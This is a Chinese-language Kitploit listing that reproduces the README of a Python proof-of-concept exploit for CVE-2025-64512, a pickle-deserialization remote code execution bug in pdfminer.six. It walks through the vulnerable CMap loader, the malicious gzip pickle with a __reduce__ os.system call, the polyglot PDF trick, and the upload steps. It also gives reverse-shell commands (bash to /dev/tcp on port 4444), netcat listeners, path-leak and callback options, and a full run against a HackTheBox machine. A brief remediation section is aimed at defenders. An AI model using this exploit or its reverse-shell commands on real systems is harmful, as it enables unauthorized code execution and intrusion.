Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/jinook-kim/cve-2025-64512_poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用安全虚拟化CTF渗透测试学习与教育
GitHubjinook-kim/cve-2025-64512_poc

CVE-2025-64512_PoC

针对 CVE-2025-64512 的 Python PoC,一个 pdfminer.six pickle 反序列化 RCE。生成 gzip 压缩的 pickle 载荷和 polyglot PDF,然后将其投递到上传门户以进行授权测试。

查看仓库
16小时25分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-64512 — pdfminer.six RCE 漏洞利用

Python 3,仅使用标准库(无需 pip 安装)。仅供授权安全测试和 CTF 使用——您有责任遵守法律以及您所参与项目的 交战规则。

CVECVE-2025-64512
受影响pdfminer.six < 20251107(已在 20251107 中修复——CMaps 改为 JSON)
下游受害者markitdown < 0.1.4, pdfplumber < 0.11.8
类型CWE-502 不可信数据反序列化 → 未认证 RCE
参考 PoCluigigubello/CVE-2025-64512-Polyglot-PoC (单文件 polyglot 变体)

测试目标:https://app.hackthebox.com/machines/Bedside


1. 通俗地讲,这个漏洞是什么

pdfminer.six 是一个流行的 Python 库,用于从 PDF 中提取文本。PDF 字体 需要 CMaps——将字符编码转换为 Unicode 的映射表——而 pdfminer 将它们以 gzip 压缩的 pickle(<name>.pickle.gz)形式打包在自身的包内。 看看 CMap 是如何加载的(pdfminer/cmapdb.py,20251107 之前的所有版本):

root@kitploit:~
@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")                  # 唯一的净化处理
    filename = "%s.pickle.gz" % name               # ← 攻击者控制 `name`
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # ← 绝对路径名会忽略目录!
        if os.path.exists(path):
            with gzip.open(path) as gzfile:
                return type(str(name), (), pickle.loads(gzfile.read()))   # ← 💥

三个缺陷叠加在一起:

  1. name 来自 PDF 本身。 Type0(CID)字体的 /Encoding 条目是一个 PDF 名称,攻击者可以完全控制它。PDF 名称不能包含原始的 /,因此使用 RFC 标准的十六进制转义来书写:名称 /#2f#76#61#72#2f… 解码为 /var/…。
  2. os.path.join 的怪癖。 当第二个参数是绝对路径时,第一个参数会被 完全忽略。因此,名称为 /var/www/site/uploads/shell 会让 pdfminer 查找 /var/www/site/uploads/shell.pickle.gz——磁盘上的_任意_路径——而不是它 自己的 CMap 目录。
  3. 对文件内容调用 pickle.loads()。 pickle 可以携带“通过调用此函数来 重建我”的指令(__reduce__)。反序列化攻击者的字节 = 在调用 pdfminer 的 任何进程内运行攻击者的代码。

利用前提——这个漏洞在任何同时提供等式两半的应用程序上都可以轻易利用:

  • 一种将文件放置在已知绝对路径的方法(上传门户;路径通常会在错误消息中 泄露),
  • 一种让服务器解析您控制的 PDF 的方法(上传时、在转换端点上、通过后台 监视器/cron 等)。

2. 脚本做了什么

  1. 构建一个 gzip 压缩的 pickle:{"__reduce__": eval("__import__('os').system('<your command>')")}。
  2. 构建一个最小但结构有效的 PDF,其唯一内容是一个使用 Type0 字体的页面, 该字体的 /Encoding 指向您的 pickle 的绝对路径。
  3. 投递它:
    • --mode two (默认)——上传 <name>.pickle.gz,然后上传 <name>.pdf。 当目标仅解析扩展名为 PDF 的文件时使用此模式 (例如监视 uploads/*.pdf 的监视器)。
    • --mode polyglot——上传一个文件 <name>.pickle.gz,它_既_是 有效的 gzip-pickle 又是有效的 PDF:整个 PDF 隐藏在 gzip 头的 FCOMMENT 字段中(RFC 1952 允许注释;%PDF- 签名位于 第 10 个字节,xref 偏移量已预先调整,因此表保持有效)。 当目标将任何上传的文件都作为 PDF 解析而不管扩展名时使用此模式 (markitdown 风格的转换器)。
  4. 可选地验证文件已落地(--verify),等待目标的处理周期(--wait), 并且可以前置一个回调预言机(--callback),在您的命令运行之前 回连——这样即使您的主通道失败,也能证明执行成功。

3. 安装

无需安装——Python 3.10+(使用 str | None 语法):

root@kitploit:~
chmod +x cve_2025_64512.py

4. 用法

4.1 先在本地演练

生成示例载荷,并(如果可导入存在漏洞的 pdfminer)在您自己的 Python 中 执行它们,以在接触目标之前证明攻击链有效:

root@kitploit:~
# 将自测指向存在漏洞的 pdfminer 检出/轮子(任何 < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest

预期输出以 SELFTEST PASS 结尾,针对双文件触发和 polyglot 均如此。 您也可以手动测试:

root@kitploit:~
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/       # 放置为 /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf                # 仅存在漏洞的 pdfminer
cat /tmp/pwned                                  # → 您的 uid

4.2 通用上传门户(Bedside 风格)

root@kitploit:~
# 1. 为您的命令回调通道启动监听器
nc -lvnp 4444

# 2. 运行漏洞利用——让它自行发现上传目录
python3 cve_2025_64512.py \
    --url http://research.target.htb/ \
    --leak-path \
    --verify /uploads \
    --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"

完整参数参考:

4.3 完整示例——HTB Bedside

root@kitploit:~
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 &                                   # 监听器

python3 cve_2025_64512.py \
    --url http://research.bedside.htb/ \
    --path /var/www/research.bedside.htb/uploads \
    --verify /uploads --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"

# → 以 pdfminer 服务用户身份获得 shell(在 Bedside 上:datawrangler,位于容器内)

5. 故障排除

6. 修复(面向防御者)

  • 升级 pdfminer.six ≥ 20251107;修补 markitdown ≥ 0.1.4 / pdfplumber ≥ 0.11.8。
  • 切勿将攻击者可写的文件放置在解析器从文件内部元数据解析路径的位置; 从解析器只能读取的存储中提供上传文件。
  • 将每个反序列化器视为代码执行:对不可信字节调用 pickle.loads、torch.load、 yaml.load 都属于同一类漏洞。优先使用 仅数据格式(JSON、Safetensors、ONNX)。
  • 禁用 X-Powered-By 风格的标头并返回通用错误——两者都在 Bedside 上 泄露了成分清单。
下载工具
参数用途
--command在目标上执行的 shell 命令(必需)。它在 sh -c 下运行,因此管道/重定向/子 shell 均可工作。
--url接收 multipart POST 的上传端点。
--upload-url如果上传目标 URL 与 --url 不同,则覆盖 POST 目标。
--fieldMultipart 字段名(阅读门户的 HTML <form>;常见:uploadFile、file)。
--path上传文件落地的绝对服务器端目录(例如 /var/www/site/uploads)。PDF 在此处指定 pickle,因此必须精确。
--leak-path不知道路径?上传畸形内容并从门户的错误消息中抓取它(许多门户会打印目标路径)。
--name生成文件的基名(默认 shell)。重新运行时随机化以避免陈旧文件。
--modetwo(默认)或 polyglot——见 §2。
--callback URL在您的命令之前前置一个对 URL 的 HTTP 请求;运行 python3 -m http.server 8000 并观察命中。执行预言机。
--wait N上传后休眠 N 秒——匹配目标的处理节奏(监视器/cron 通常每 30 秒轮询一次;在假定失败之前等待完整周期)。
--verify /uploads之后对每个上传的文件执行 GET,以确认它落在 PDF 期望的位置。
--timeout、--out-dir、--no-upload、--selftestHTTP 超时、本地输出目录、仅生成模式、本地演练。
症状原因 / 修复
上传时出现 MIME type mismatch门户嗅探内容,而不仅仅是扩展名。两个载荷都是真正的 gzip / 真正的 PDF——检查您没有截断它们;trigger 必须以 %PDF- 开头,pickle 必须能解压(gzip -t)。
上传成功,但没有任何执行1) 等待完整的监视器/cron 周期(--wait 35)。2) 确认 pickle 可在 <path>/<name>.pickle.gz 访问(--verify)。3) 检查运行 pdfminer 的进程能否_读取_您的文件。4) 使用 --callback 获得明确的执行信号。
上传路径未知--leak-path,或触发任何验证错误并阅读消息。
Polyglot 从未触发被解析的文件必须是_同一个_以 .pickle.gz 结尾的文件。如果目标仅解析 *.pdf 上传,请使用 --mode two。
目标日志中出现 TypeError: type.__new__() argument 3 must be dict那就是成功——pdfminer 执行了您的 pickle,然后被自己的返回值绊倒。无害。
目标已修补pdfminer ≥ 20251107 从 JSON 加载 CMaps。此处无可利用。